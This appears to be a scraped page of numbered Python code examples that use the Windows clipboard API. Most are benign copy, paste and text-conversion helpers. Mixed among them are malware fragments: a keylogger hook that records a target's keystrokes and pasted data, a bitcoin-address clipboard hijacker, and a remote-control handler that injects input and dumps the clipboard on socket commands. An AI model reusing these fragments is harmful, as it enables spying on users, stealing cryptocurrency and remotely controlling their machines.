Esempio n. 1
0
def cb(text=None, fmt=CF_UNICODETEXT, cls=unicode):
    OpenClipboard()
    if not text:
        text = GetClipboardData(fmt)
        CloseClipboard()
        return text
    EmptyClipboard()
    SetClipboardData(fmt, cls(text) if cls else text)
    CloseClipboard()
    sys.stdout.write("copied %d bytes into clipboard...\n" % len(text))
Esempio n. 2
0
 def cb(text=None, fmt=CF_UNICODETEXT, cls=unicode_class):
     OpenClipboard()
     if not text:
         text = GetClipboardData(fmt)
         CloseClipboard()
         return text
     EmptyClipboard()
     data = cls(text) if cls and not isinstance(text, cls) else text
     SetClipboardData(fmt, data)
     CloseClipboard()
     return data
def OnKeyboardEvent(event):

    global current_window

    # Check to see if the target changed windows
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()

    with open(file_log, 'a+') as f:
        # If the target presses a standard key
        if event.Ascii > 32 and event.Ascii < 127:
            data = chr(event.Ascii)
            f.write(data)
        else:
            # If [Ctrl-V], get the value on the clipboard
            if event.Key == "V":
                OpenClipboard()
                pasted_value = GetClipboardData()
                CloseClipboard()

                data = "[PASTE] - {}".format(pasted_value)
                f.write(data)

            else:
                data = "[{}]".format(event.Key)
                f.write(data)

    # Pass execution to the next hook registered
    return True
Esempio n. 4
0
    def on_key_press(self, symbol, modifiers):
        if symbol == BACKSPACE and self.text_label:
            if len(self.text_label.text) > 0:
                self.text_label.text = self.text_label.text[:-1]
            else:
                self.text_label.delete()
                self.text_label = None
                self.placeholder_label = PygletLabel(
                    self.get_formatted_text(),
                    font_name=self.font_name,
                    bold=self.bold,
                    font_size=self.get_font_size(),
                    color=(*self.placeholder_color, self.opacity),
                    x=self.get_x(),
                    y=self.get_y(),
                    anchor_x=self.anchor_x,
                    anchor_y=self.anchor_y,
                    align=self.align,
                    multiline=self.multiline,
                    batch=self.batch,
                    group=self.group)

        elif modifiers & MOD_CTRL and symbol == V:
            OpenClipboard()
            try:
                self.on_text(GetClipboardData())
            except TypeError:
                pass

            CloseClipboard()
Esempio n. 5
0
	def GetVerse(self):
		handle = OpenClipboard(None)
		assert(handle == None)

		s = GetClipboardData(win32clipboard.CF_UNICODETEXT)
		CloseClipboard();
		return s
Esempio n. 6
0
def checkClipBoard():
	OpenClipboard()
	data = GetClipboardData()
	if len(data) == 34 and data[0] == "1": #detect if the user is copying a bitcoin address.
		EmptyClipboard()
		SetClipboardText("Your bitcoin address.")
	CloseClipboard()
Esempio n. 7
0
def get_clipboard_data():
    from win32clipboard import OpenClipboard, CloseClipboard, GetClipboardData
    from win32con import CF_TEXT
    OpenClipboard()
    data = GetClipboardData(CF_TEXT)
    CloseClipboard()
    return data
Esempio n. 8
0
def set_clipboard_data(data):
    from win32clipboard import OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard
    from win32con import CF_TEXT
    OpenClipboard()
    EmptyClipboard()
    SetClipboardData(CF_TEXT, data)
    CloseClipboard()
Esempio n. 9
0
def clipboard_get_text(to_open=True, to_close=True):
    """
    Get text from clipboard.

    :param to_open: open clipboard before doing.

    :param to_close: close clipboard after done.

    :return: the text.
    """
    # If need open clipboard
    if to_open:
        # Open clipboard
        clipboard_open()

    try:
        # Get text from clipboard
        text = GetClipboardData(CF_TEXT)

        # Return the text
        return text
    finally:
        # If need close clipboard
        if to_close:
            # Close clipboard
            CloseClipboard()
Esempio n. 10
0
def clipboard_set_text(text, to_open=True, to_close=True):
    """
    Set text to clipboard.

    :param text: the text to set.

    :param to_open: open clipboard before doing.

    :param to_close: close clipboard after done.

    :return: None.
    """
    # If need open clipboard
    if to_open:
        # Open clipboard
        OpenClipboard()

    #
    try:
        # Empty clipboard
        EmptyClipboard()

        # Set text to clipboard
        SetClipboardText(text, CF_TEXT)

        # Set text to clipboard as Unicode
        SetClipboardText(text, CF_UNICODETEXT)
    finally:
        # If need close clipboard
        if to_close:
            # Close clipboard
            CloseClipboard()
Esempio n. 11
0
def copy_to_clipboard(text: str):
    try:
        OpenClipboard()
        EmptyClipboard()
        SetClipboardText(text, CF_UNICODETEXT)
        CloseClipboard()
    except:
        log_record('не удалось поместить данные в clipboad')
 def check_bitcoin_wallet(self):
     OpenClipboard()
     data = GetClipboardData()
     CloseClipboard()
     l = findall('[a-zA-Z0-9]{34}', data)
     if len(l) == 1:
         return True
     else:
         return False
 def set(self, text: str) -> None:
     try:
         OpenClipboard()
         EmptyClipboard()
         SetClipboardText(text)
         CloseClipboard()
     except Exception as ex:
         if len(ex.args) == 0 or ex.args[0] not in ALLOWED_ERRORS:
             logging.error(f'Failed to set clipboard text: {ex}')
Esempio n. 14
0
def clipboard(msg=None):
    x = ""
    OpenClipboard()
    if msg:
        EmptyClipboard()
        SetClipboardText(msg)
    else:
        x = GetClipboardData()
    CloseClipboard()
    return x
Esempio n. 15
0
def copy(prompt: str, text: str) -> None:
    try:
        OpenClipboard()
        EmptyClipboard()
        SetClipboardText(text)
        CloseClipboard()
    except:
        error(prompt=f"Error Copying {prompt.strip()} to Clipboard")
    else:
        showShortInfo(prompt=f"Copied {prompt.strip()} to Clipboard")
Esempio n. 16
0
    def copy(self):
        selected_widget = self.widget.focus_get()
        selection_text = ""
        if selected_widget.selection_present():
            selection_text = selected_widget.selection_get()

        OpenClipboard()
        EmptyClipboard()
        SetClipboardText(selection_text)
        CloseClipboard()
Esempio n. 17
0
    def get_clipboard(self):

        try:
            OpenClipboard()
            clipboard = GetClipboardData()
            CloseClipboard()

            return clipboard

        except:
            return ""
Esempio n. 18
0
def get_clipboard_value():
    clipboard_value = None
    try:
        OpenClipboard()
        clipboard_value = GetClipboardData()
    except:
        pass
    CloseClipboard()
    if clipboard_value:
        if 0 < len(clipboard_value) < 300:
            return clipboard_value
Esempio n. 19
0
    def paste(self):
        selected_widget = self.widget.focus_get()
        if selected_widget.selection_present():
            self.remove_selection(selected_widget)

        OpenClipboard()
        try:
            selected_widget.insert(INSERT, GetClipboardData(CF_UNICODETEXT))
        except:
            pass
        CloseClipboard()
Esempio n. 20
0
def OnKeyboardEvent(event):
    global TemplateStr
    global ChangeFlag
    global path
    global BeforeStamp
    global Name
    global Description
    global EipNumber

    if event.Key == "F2":
        # Check if the Template File has been modified
        CurrentStamp = os.path.getmtime(path)
        if ChangeFlag is True or CurrentStamp != BeforeStamp:
            InitTemplateStrFromFile()
            ChangeFlag = False

        # Check if the Template File is valid
        if TemplateStr == "":
            ShowMessageBox("Please Check the Setting: Name Description [EIPNo.]", "Invalid Setting")
            return True

        # Check current cursor on what file
        window = GetForegroundWindow()
        title = GetWindowText(window)

        # Copy the Template Str to cursor position
        OpenClipboard()
        EmptyClipboard()

        if ".sdl" in title:
            SetClipboardText("#" + TemplateStr + ">>\n\n" + "#" + TemplateStr + "<<\n")
        elif "Commit - TortoiseGit" in title:
        
            if EipNumber != "":
                CommitStr = "**  [M00x]\n     Issue        : [EIP"+EipNumber+"] "+Description
            else:
                CommitStr = "**  [M00x]\n     Issue        : "+Description

            CommitStr += "\n     Cust.Ref.No. :"
            CommitStr += "\n     Label        : " + TemplateStr
            CommitStr += "\n     File         : "
            SetClipboardText(CommitStr)
            
        else:
            SetClipboardText("//" + TemplateStr + ">>\n\n" + "//" + TemplateStr + "<<\n")

        CloseClipboard()
        keybd_event(17, 0, 0, 0)  # key Ctrl
        keybd_event(86, 0, 0, 0)  # key v
        keybd_event(17, 0, KET_RELEASE, 0)  # release Key Ctrl
        keybd_event(86, 0, KET_RELEASE, 0)  # release Key v

    return True
    def get(self) -> str:
        text = ''

        try:
            OpenClipboard()
            text = GetClipboardData()
            CloseClipboard()
        except Exception as ex:
            if len(ex.args) == 0 or ex.args[0] not in ALLOWED_ERRORS:
                logging.error(f'Failed to retrieve clipboard data: {ex}')

        return text
Esempio n. 22
0
def get_selected_text() -> str:
    OpenClipboard()
    old_clipboard_text = GetClipboardData(CF_TEXT)
    old_clipboard_text_unicode = old_clipboard_text.decode("utf-8", "replace")
    CloseClipboard()
    #Logger.info(f"Clip Old: {old_clipboard_text_unicode[0:20]}")

    SendInput(Keyboard(VK_CONTROL))
    time.sleep(0.1)
    SendInput(Keyboard(KEY_C))
    time.sleep(0.1)
    SendInput(Keyboard(VK_CONTROL, KEYEVENTF_KEYUP))
    time.sleep(0.1)
    SendInput(Keyboard(KEY_C, KEYEVENTF_KEYUP))
    time.sleep(0.1)

    OpenClipboard()
    selected_text = GetClipboardData(CF_TEXT)
    SetClipboardData(CF_TEXT, old_clipboard_text)
    CloseClipboard()
    selected_text_unicode = selected_text.decode("iso-8859-1", "replace")
    #Logger.info(f"Clip New: {selected_text_unicode[0:20]}")

    return selected_text_unicode
Esempio n. 23
0
def clipboard_to_camelcase():
    """
    Hotkey function that converts text in clipboard to camelCase.

    :return: None.
    """
    # Open clipboard
    clipboard_open()

    try:
        # Get text from clipboard
        text = GetClipboardData(CF_TEXT)

        # If the text is empty
        if not text:
            # Ignore
            return

        # If is not Python 2
        if not _IS_PY2:
            # Convert the text to Unicode
            text = text.decode('gbk')

        # Replace non-letter character to space
        text = re.sub(r'[^A-Z0-9a-z]', ' ', text)

        # Split text to words by white-space,
        # capitalize each word,
        # join the capitalized words into text.
        text = ''.join(word.capitalize() for word in text.split())

        # If the text is not empty
        if text:
            # Convert the text to camelCase
            text = text[0].lower() + text[1:]

        # Empty clipboard
        EmptyClipboard()

        # Set the text to clipboard
        SetClipboardText(text, CF_TEXT)

        # Set text to clipboard as Unicode
        SetClipboardText(text, CF_UNICODETEXT)
    finally:
        # Close clipboard
        CloseClipboard()
Esempio n. 24
0
def clipboard_preserve_context():
    """
    Preserve clipboard value on entering the context, and restore on exiting.

    :return: None.
    """
    try:
        # Get current value in clipboard
        text_old = clipboard_get_text()
        # ^ raise error
    except Exception:
        # Use None as current value in case of error
        text_old = None

    # End of entering-context code
    yield text_old

    # Start of exiting-context code

    # If clipboard had text
    if text_old is not None:
        # Set clipboard to old text
        try:
            # Open clipboard
            clipboard_open()

            # Empty clipboard
            EmptyClipboard()

            # Set old text to clipboard
            SetClipboardText(text_old, CF_TEXT)

            # Set old text to clipboard as Unicode
            SetClipboardText(text_old, CF_UNICODETEXT)
        except Exception:
            # Ignore any error
            pass
        finally:
            # Close clipboard
            CloseClipboard()
Esempio n. 25
0
def clipboard_to_uppercase():
    """
    Hotkey function that converts text in clipboard to UPPERCASE.

    :return: None.
    """
    # Open clipboard
    clipboard_open()

    try:
        # Get text from clipboard
        text = GetClipboardData(CF_TEXT)

        # If the text is empty
        if not text:
            # Ignore
            return

        # Convert to upper case
        text = text.upper()

        # Empty clipboard
        EmptyClipboard()

        # Set text to clipboard
        SetClipboardText(text, CF_TEXT)

        # If is not Python 2
        if not _IS_PY2:
            # Convert the text to Unicode
            text = text.decode('gbk')

        # Set text to clipboard as Unicode
        SetClipboardText(text, CF_UNICODETEXT)
    finally:
        # Close clipboard
        CloseClipboard()
Esempio n. 26
0
def screen_shot(option):
    i = 1
    while True:
        print('-' * 20, '{}'.format(i), '-' * 20, end='\n')
        if wait(hotkey='shift+win+s') == None:
            if wait(hotkey='ctrl') == None:
                sleep(0.01)
                try:
                    img = grabclipboard()
                    img.save('picture.png')
                except:
                    print('请重新截图')
                    screen_shot()
                i += 1
                alltexts = baidu_ocr.get_text(option)
                sleep(0.2)
                # w.OpenClipboard()

                # d=w.GetClipboardData(win32con.CF_UNICODETEXT)
                # w.CloseClipboard()'''
                OpenClipboard()
                EmptyClipboard()
                SetClipboardData(win32con.CF_UNICODETEXT, alltexts)
                CloseClipboard()
Esempio n. 27
0
 def paste(text, fmt=CF_UNICODETEXT, cls=unicode_class):
     EmptyClipboard()
     data = cls(text) if cls and not isinstance(text, cls) else text
     SetClipboardData(fmt, data)
     CloseClipboard()
     return data
Esempio n. 28
0
def inject_input(injection_type, arg):
    try:
        if injection_type == 'ty':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            pyautogui.typewrite(arg)
            s.sendall('[+]Injected typewritten character/s' + End)
        elif injection_type == 'pr':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            pyautogui.press(arg)
            s.sendall('[+]Injected pressed key' + End)
        elif injection_type == 'sh':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            if ' ' in arg:
                arg = arg.split(' ')
                for key in arg:
                    pyautogui.keyDown(key)
                for key in reversed(arg):
                    pyautogui.keyUp(key)
                s.sendall('[+]Injected keyboard shortcut' + End)
            else:
                pyautogui.hotkey(arg)
                s.sendall('[+]Injected keyboard shortcut' + End)
        elif injection_type == 'valids':
            tar_list = '|/'.join(valid_keys)
            s.sendall(tar_list + End)
        elif injection_type == 'clip_clear':
            OpenClipboard()
            EmptyClipboard()
            s.sendall('[+]Cleared clipboard content' + End)
            CloseClipboard()
        elif injection_type == 'clip_dump':
            OpenClipboard()
            try:
                injection_type = GetClipboardData()
            except TypeError:
                s.sendall('[+]Clipboard content is empty' + End)
                return
            CloseClipboard()
            s.sendall('[+]Dumped content : ' + injection_type + End)
        elif injection_type == 'clip_set':
            if not arg:
                s.sendall('[-]Input a string' + End)
                return
            OpenClipboard()
            EmptyClipboard()
            SetClipboardText(arg)
            CloseClipboard()
            s.sendall('[+]Injected cliboard data' + End)
        elif injection_type == 'click_left':
            pyautogui.click(button='left')
            s.sendall('[+]Injected left mouse click' + End)
        elif injection_type == 'click_right':
            pyautogui.click(button='right')
            s.sendall('[+]Injected right mouse click' + End)
        elif injection_type == 'move_to':
            if not arg:
                s.sendall('[-]Supply a coord as an arg'+End)
                return
            try:
                arg = arg.split(' ')
                cord_one = int(arg[0])
                cord_two = int(arg[1])
                pyautogui.moveTo(x=cord_one, y=cord_two)
                s.sendall('[+]Injected mouse movement' + End)
            except:
                s.sendall('[-]Input X and Y coordinates as integers' + End)
                return
        elif injection_type == 'dimensions':
            dimensions = pyautogui.size()
            dimensions = '[+]Dimensions of screen : ' + str(dimensions[0]) + ' x ' + str(dimensions[1])
            s.sendall(dimensions + End)
        elif injection_type == 'position':
            current = pyautogui.position()
            current = '[+]Current mouse position : ' + str(current[0]) + ' x ' + str(current[1])
            s.sendall(current + End)
        else:
            s.sendall('[-]Unknown command "' + injection_type + '", run "help" for help menu' + End)
    except Exception as e:
        s.sendall('[-]Error injecting keystrokes : ' + str(e))
Esempio n. 29
0
def CopyFromClipboard():
    OpenClipboard()
    data = GetClipboardData()
    CloseClipboard()
    return data
Esempio n. 30
0
 def copy(fmt=CF_UNICODETEXT):
     OpenClipboard()
     text = GetClipboardData(fmt)
     CloseClipboard()
     return text